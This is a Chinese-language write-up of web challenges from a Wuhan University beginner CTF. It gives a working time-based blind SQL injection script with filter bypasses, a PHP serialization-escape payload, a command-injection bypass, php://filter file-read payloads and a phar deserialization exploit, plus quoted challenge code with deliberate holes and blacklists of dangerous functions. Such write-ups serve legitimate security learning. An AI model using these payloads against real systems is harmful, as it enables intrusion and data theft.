武汉大学萌新赛的题目,做做吧!

Easy_sqli

有sql语句回显,很友好了,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests

url="http://218.197.154.9:10011/login.php"
flag=''
proxies={
'http':'http://127.0.0.1:8080'
}
# easy_sql1
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
print(mid)
data={
'user':"admin' and if(ascii(substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()),{},1))>{},sleep(3),0)#".format(str(i),str(mid)),
'pass':'admin'
}
data1={
'user':"admin' and if(ascii(substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()),{},1))={},sleep(3),0)#".format(str(i),str(mid)),
'pass':'admin'
}
try:
r1=requests.post(url,data=data1,timeout=3,proxies=proxies)
except requests.exceptions.ReadTimeout as e:
flag=flag+chr(mid)
print(chr(mid))
break
else:
try:
r=requests.post(url,data=data,timeout=3,proxies=proxies)
except requests.exceptions.ReadTimeout as e:
low=mid+1
else:
top=mid-1
if flag==f1:
break
print(flag)

爆数据库:

1
2
3
4
5
data={
'user':"admin' and if(ascii(substring((database()),{},1))={},sleep(3),0)#".format(str(i),str(mid)),
'pass':'admin'
}
# easy_sql1

爆表:

1
2
3
4
5
data={
'user':"admin' and if(ascii(substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()),{},1))>{},sleep(3),0)#".format(str(i),str(mid)),
'pass':'admin'
}
# f1ag_y0u_wi1l_n3ver_kn0w,users

爆字段:

1
2
3
4
5
data={
'user':"admin' and if(ascii(substring((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema=database() and table_name='f1ag_y0u_wi1l_n3ver_kn0w' ),{},1))>{},sleep(3),0)#".format(str(i),str(mid)),
'pass':'admin'
}
# f111114g

爆内容:

1
2
3
4
5
data={
'user':"admin' and if(ascii(substring((selselectect group_concat(f111114g) frfromom easy_sql1.f1ag_y0u_wi1l_n3ver_kn0w),{},1))>{},sleep(3),0)#".format(str(i),str(mid)),
'pass':'admin'
}
# WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~}

ezphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('会代码审计嘛23333');
}
//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);

if($md5_1 != $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}

//3nd
function filter($string){
return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}

第一层很好绕,直接%0a就行

第二层要求两个数md5不相等,经过strtr函数替换,该函数相当于生成一个替换字典,按照字典键值替换

1
2
3
strtr($md5_1, 'pggnb', '12345')
// 相当于
// p->1 g->3 n->4 b->5

这样就可以写一个脚本(不是我写的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$count = 0;
for ($i = 1; $i <= 100000000; $i++) {
$md5 = strtr(md5($i), 'pggnb', '12345');
if (preg_match('/^0e\d+$/', $md5)) {
echo $i . " " . md5($i) . "\n";
$count++;
}
if ($count == 2) {
break;
}
}
// 11230178 0e732639146814822596b49bb6939b97
// 20493141 0e343359461627b56649445b748588b8
// 替换后0e后面均为纯数字

最后一点相等利用php认为0e开头且后面是纯数字的都相等的特性

最后一关是反序列化字符逃逸,正常序列化的结果:

1
a:2:{i:0;s:4:"test";i:1;s:5:"aaaaa";}

确定要添加的内容,长度为20

1
";i:1;s:6:"123456";}

列方程,n为x字符数量,y为其他字符

1
n+y+20=2n+y

解得n=20,故构造

1
username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

查看源码得到flag

ezcmd

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if(isset($_GET['ip'])){

$ip = $_GET['ip'];

if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){

echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);

die("fxck your symbol!");

} else if(preg_match("/ /", $ip)){

die("no space!");

} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){

die("no flag");

} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){

die("cat't read flag");

}

$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

highlight_file(__FILE__);
?>

不知道为啥curl,echo都用不了,payload:

1
?ip=||a=ca;b=t;$a$b$IFS`ls`

ezinclude

脑洞题,扫目录有:info.php,phpinfo 开了一大堆扩展,立马想到了phpinfo包含临时文件getshell

找了半天没没找到包含点,最后发现

就很奇怪,直接php://filter就能读flag,奇怪

Easy_unserialize

我太菜了,抓包可以看到

html是这样写的:

1
<input type="submit" name="acti0n" placeholder="上传图片" value="upload" class='btn' id='b1'>

自动进行302跳转

这里存在文件包含的,构造:

1
2
?acti0n=php://filter/convert.bAse64-encode/resource=upload.php
?acti0n=php://filter/string.rot13/resource=upload.php

读到源码upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
error_reporting(0);
$dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
if(!is_dir($dir)) {
if(!mkdir($dir, 0777, true)) {
echo error_get_last()['message'];
die('Failed to make the directory');
}
}
chdir($dir);
if(isset($_POST['submit'])) {
$name = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$ans = exif_imagetype($tmp_name);
if($_FILES['file']['size'] >= 204800) {
die('filesize too big.');
}
if(!$name) {
die('filename can not be empty!');
}
if(preg_match('/(htaccess)|(user)|(\.\.)|(%)|(#)/i', $name) !== 0) {
die('Hacker!');
}
if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
$type = $_FILES['file']['type'];
if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
echo "<p align=\"center\">Don't cheat me with Content-Type!</p>";
}
echo("<p align=\"center\">You can't upload this kind of file!</p>");
exit;
}
$content = file_get_contents($tmp_name);
if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
echo('<script>alert("You could not upload this image because of some dangerous code in your file!")</script>');
exit;
}

$extension = substr($name, strrpos($name, ".") + 1);
if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
die("<p align=\"center\">You can't upload this kind of file!</p>");
}
$upload_file = $name;
move_uploaded_file($tmp_name, $upload_file);

if(file_exists($name)) {
echo "<p align=\"center\">Your file $name has been uploaded.<br></p>";
} else {
echo '<script>alert("上传失败")</script>';
}
echo "<p align=\"center\"><a href=\"view.php\" >点我去看上传的文件</a></p>";
#header("refresh:3;url=index.php");
}
?>

view.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
#include_once "flag.php";
error_reporting(0);
class View
{
public $dir;
private $cmd;

function __construct()
{
$this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
$this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
if(!is_dir($this->dir)) {
mkdir($this->dir, 0777, true);
}
}

function get_file_list() {
$file = scandir('.');
return $file;
}

function show_file_list() {
$file = $this->get_file_list();
for ($i = 2; $i < sizeof($file); $i++) {
echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."] $file[$i] </p>";
}
}

function show_img($file_name) {
$name = $file_name;
$width = getimagesize($name)[0];
$height = getimagesize($name)[1];
$times = $width / 200;
$width /= $times;
$height /= $times;
$template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
echo $template;
}

function delete_img($file_name) {
$name = $file_name;
if (file_exists($name)) {
@unlink($name);
if(!file_exists($name)) {
echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
header("refresh:3;url=view.php");
} else {
echo "Can not delete!";
exit;
}
} else {
echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
}
}

function __destruct() {
eval($this->cmd);
}
}

$ins = new View();
chdir($ins->dir);
echo "<h3>当前目录为 " . $ins->dir . "</h3>";
$ins->show_file_list();
if (isset($_POST['show'])) {
$file_name = $_POST['show'];
$ins->show_img($file_name);
}
if (isset($_POST['delete'])) {
$file_name = $_POST['delete'];
$ins->delete_img($file_name);
}
unset($ins);
?>

不用phar反序列化也能getflag,没过滤assert直接传个马包含

再看看phar反序列化怎末搞得吧,phar反序列化影响的函数:

在delete_img函数里我们看到了file_exists函数,由此,思路很明确,上传phar文件,然后删除文件就能触发反序列化了,构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class View
{
public $dir;
private $cmd="echo 'ok';readfile('/var/www/html/flag.php');";
}
$object = new View;
$phar = new Phar("s.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a.txt", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后上传phar文件,改下后缀为gif,需要用绝对路径,查看源码得到flag

评论